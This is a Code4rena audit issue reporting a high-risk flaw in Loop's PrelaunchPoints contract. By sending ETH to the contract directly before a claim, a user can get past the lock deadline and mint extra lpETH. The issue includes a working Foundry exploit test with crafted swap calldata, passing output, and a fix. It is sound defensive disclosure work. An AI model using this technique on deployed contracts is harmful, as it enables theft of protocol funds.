code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

User can skip locking mechanism funnelling in ether deposits to mint `lpETH` when the time deemed to do so is long past #56

Closed howlbot-integration[bot] closed 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L264

Vulnerability details

Impact

A user can still deposit more and end up minting more lpETH even at a time when it is no longer possible to be eligible to do so by funneling in ether deposits on every small lpETH claim which resolves to mint more lpETH than expected by the protocol without the supposed full amount being locked in ETH, WETH or LRTs in the first place.

This breaches one of the protocol's invariants:

Deposits are active up to the lpETH contract and lpETHVault contract are set

Proof of Concept

PrelaunchPoints.sol#L143-L148

function lock(address _token, uint256 _amount, bytes32 _referral) external {
        if (_token == ETH) {
            revert InvalidToken();
        }
@>      _processLock(_token, _amount, msg.sender, _referral); // @note processes Alice's deposit of 1 ezETH
    }

PrelaunchPoints.sol#L172-L175

function _processLock(address _token, uint256 _amount, address _receiver, bytes32 _referral)
        internal
@>      onlyBeforeDate(loopActivation) // @note blocks locking attempts after loop activation
    {
...

modifier onlyBeforeDate(uint256 limitDate) {
        if (block.timestamp >= limitDate) { // @note this reverts if loop activated
            revert NoLongerPossible();
        }
        _;
    }

PrelaunchPoints.sol#L211-L216

PrelaunchPoints.sol#L240-L266

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token]; // @note 1 ezETH
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100; // @note resolves to 1e16 with 1% passed in as the amount to claim or mint
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract // <---- @note initial protocol assumption, but it is wrong since she sends the ether into the contract directly
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data); // swaps 1e16 ezETH to ether and sends those in here ... now we have 100 ethers + 1e16 or whatever the swap returns - slippage and fee

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance; // @note now its 100 ether + 1e16 assuming no bad swap impact
            lpETH.deposit{value: claimedAmount}(_receiver); // @note mints 100 + 1e16 `lpETH` to Alice
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Below is a coded POC for this exploit. Please read the test and paste it into the PrelaunchPoints.t.sol test contract. Run it with forge test --mt testBypassLockingPOC. You can append -vvvvv flag for execution trace verbosity.

// HELPER FUNCTION WE USED TO CRAFT THE SWAP INPUT DATA

    event EncodedPath(bytes encodedPath);

    function testEncodeSwapPath() public {
        address inputToken = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f; // aka mock ezETH
        uint24 fee = 100; // uniswap ezETH/WETH pool right now is 0.01% fee
        address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // aka WETH address

        bytes memory encodedPath = abi.encodePacked(inputToken, fee, outputToken); // @note encoded swap path

        emit EncodedPath(encodedPath); // @note log so we can see and grab the bytes data
    }

    function testSellTokenForEthToUniswapV3Args_encoded() public {

        bytes memory usingFuncSel = abi.encodeWithSignature("sellTokenForEthToUniswapV3(bytes encodedPath, uint256 sellAmount, uint256 minBuyAmount, address recipient)", hex"5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", 0.01 ether, 0, 0x2e234DAe75C793f67A35089C9d99245E1C58470b);

        emit EncodedPath(usingFuncSel);

        /*
            0x1316cb1a0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000

                                THEN WE SWAP THE FUNCTION SIG INTO THE CALLDATA FROM `0x1316cb1a` TO `0x803ba26d` before proceeding to use it 
                                in the `prelaunchPoints.claim` call below in the `testBypassLockingPOC` function

            0x803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000
        */   
    }

    // EXPLOIT POC
    function testBypassLockingPOC() public {
        address alice = makeAddr("alice");

        // @note alice has 2 ezETH in her wallet
        lrt.mint(alice, 2 ether);

        uint256 lockAmount = 1 ether;

        vm.prank(alice);
        lrt.approve(address(prelaunchPoints), lockAmount * 2); // @note alice approves prelaunchPoints to transfer 2 ezETH but she only deposits 1
        vm.prank(alice);
        prelaunchPoints.lock(address(lrt), lockAmount, referral); // @note alice locks 1 ezETH into prelaunchPoints

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        // @note alice has acquired 100 ethers in her wallet
        vm.deal(alice, 100 ether);

        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claim transaction execution
        vm.deal(address(prelaunchPoints), 100 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice);
        vm.expectRevert(); // @note just testing to make sure locking ether or LRT is no longer allowed by the protocol but alice will breach it in the next call
        prelaunchPoints.lock(address(lrt), lockAmount, referral);

        vm.prank(alice); // @note alice specifies 1% which should resolve to only 1 lpETH being minted to her but then ...
        prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        // @note since she transferred ether directly right before the claim call, she ends up with 100 lpETH plus the 0.01 ether the swap will send back to prelaunchPoints
        assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.99 ether); // @note she still has plenty of leeway to run the exploit next time
        assertEq(lpETH.balanceOf(alice), 100 ether); // @note she successfully breaches the locking mechanism to get 100 lpETH + 0.01 lpETH that will be a result of the swap sending back ether to prelaunchPoints
    }

Test result:

[PASS] testBypassLockingPOC() (gas: 299809)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.52ms (4.22ms CPU time)

Tools Used

Manual review

Recommended Mitigation Steps

Use this modification of the else block in the _claim() function instead:

        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;
+           uint256 prevBalance = address(this).balance;
            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
+           uint256 currBalance = address(this).balance;

+           claimedAmount = currBalance - prevBalance;
-           claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

With this change, even if Alice tries to send ethers into the contract directly, it will be at a lost cause as she effectively donates it without exploiting the loophole.

Assessed type

Timing

c4-judge commented 4 months ago

koolexcrypto marked the issue as duplicate of #6

c4-judge commented 3 months ago

koolexcrypto marked the issue as duplicate of #33

c4-judge commented 3 months ago

koolexcrypto marked the issue as satisfactory

c4-judge commented 3 months ago

koolexcrypto changed the severity to 3 (High Risk)